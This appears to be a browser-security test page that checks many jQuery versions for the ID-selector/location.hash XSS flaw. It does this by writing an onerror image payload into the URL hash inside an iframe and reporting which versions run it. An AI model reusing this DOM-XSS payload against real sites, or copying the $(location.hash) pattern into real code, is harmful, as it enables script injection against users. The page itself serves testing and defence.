Jquery ID selector + location.hash

• Chrome
• Chrome Mobile
• Googlebot
• Mobile Safari

					
var jQuery_version = '';

function vulnerable(){
	addError('jQuery '+ jQuery_version, '<b>Vulnerable</b>');
}

function safe(){
	addSuccess('jQuery '+ jQuery_version, 'Safe');
}
	
function removeIframe(){
	var x = document.getElementById('jQueryFrameID');
	x.parentNode.removeChild(x);
}


function test(data){
	try{
	    console.log(data)
	    
		jQuery_version = data;
		
		
		var jQueryFrame = document.createElement('iframe');
		jQueryFrame.id = 'jQueryFrameID';
		var exploitHTML = '<script src="//ajax.googleapis.com/ajax/libs/jquery/'+ jQuery_version.toString() +'/jquery.js"><\/script><script>var tst=0;location.hash="<img src=s onerror=tst=1>";$(function(){$(location.hash)});setTimeout("if(tst==1){parent.vulnerable()}else{parent.safe()};parent.removeIframe()",2000)<\/script>';
		document.body.appendChild(jQueryFrame);
		iframeDoc = jQueryFrame.contentDocument || jQueryFrame.contentWindow.document;
		iframeDoc.open();
		iframeDoc.write(exploitHTML);
		iframeDoc.close();
		
	}
	catch(err){
		addInfo(jQuery_version , 'Some Error Occured: ' + err);
	}
}

					
				

					
var data = ['2.0.3', '2.0.2', '2.0.1', '2.0.0', '1.10.2', '1.10.1', '1.10.0', '1.9.1', '1.9.0', '1.8.3', '1.8.2', '1.8.1', '1.8.0', '1.7.2', '1.7.1', '1.7.0', '1.6.4', '1.6.3', '1.6.2', '1.6.1', '1.6.0', '1.5.2', '1.5.1', '1.5.0', '1.4.4', '1.4.3', '1.4.2', '1.4.1', '1.4.0', '1.3.2', '1.3.1', '1.3.0', '1.2.6', '1.2.3'];